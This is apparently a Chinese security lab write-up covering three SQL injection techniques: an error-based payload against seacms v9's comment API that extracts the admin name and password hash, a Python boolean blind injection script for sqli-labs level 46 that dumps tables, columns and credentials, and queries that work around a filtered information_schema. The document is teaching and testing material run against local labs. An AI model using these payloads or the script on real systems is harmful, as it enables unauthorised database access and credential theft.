一、seacmsv9 SQL注入漏洞
1.1 seacms漏洞介绍
海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采
用的是 php5.X+mysql 的架构,seacmsv9漏洞文件:./comment/api/index.php,漏洞参数:$rlist
1.2 漏洞绕过
由于seacms开源,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为
sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password
经过源码分析,使用以下语句注入(limit避免管理员有多个,导致SQL语句报错):
name:
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次尝试:
并没有成功,使用Wireshark抓包发现最终执行的SQL为:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC
在mysql数据库中执行这个SQL语句,并没有报错报出管理员姓名
而下面修改为查询database()却能报出数据库名
经过查阅资料,发现是前面sea_comment表没数据(上图),导致并没有执行报错中的
查询语句,而database()能执行,应该是优先执行的问题,而sea_comment表中应该是
有数据的,于是就插入了一条数据,但发现还是没有执行,于是又插入了一条数据,发
现可以执行了
最后,再次在地址栏尝试注入语句,成功注入出账号为admin
password:
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`
密码同理
注入密码为23a7bbd73250516f069d,可以看出是经过md5加密的,于是到https://cmd5.com/
解密,得到密码为admin123
自此, 得到管理员账号为admin,密码为admin123
二、order by 布尔盲注
2.1 环境介绍
sqlilabs靶场第46关,参数sort传入id,如下
参数sort传入username,如下
看源码可知,sort前面是order by,通过sort传入的字段排序
2.2 布尔盲注
于是用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup爬取表格中username下一格的
值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔)
注入,具体代码如下
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if __name__ == '__main__':
# inject_database_boolen()
# inject_table_boolen()
# inject_column_boolen()
inject_data_boolen()
注入结果如下:
三、过滤information_schema解决方案(mysql)
3.1 获取表名
使用sys库下的schema_auto_increment_columns表代替,具体如下
select table_name from sys.schema_auto_increment_columns where table_schema=database();
3.2 获取字段名
使用join关键字的子查询,使用using (字段名1,字段名2,..)逐个过滤已查询字段,具体如下
select * from (select * from users as a join users as b)c;
select * from (select * from users as a join users as b using (id))c;
select * from (select * from users as a join users as b using (id,username))c;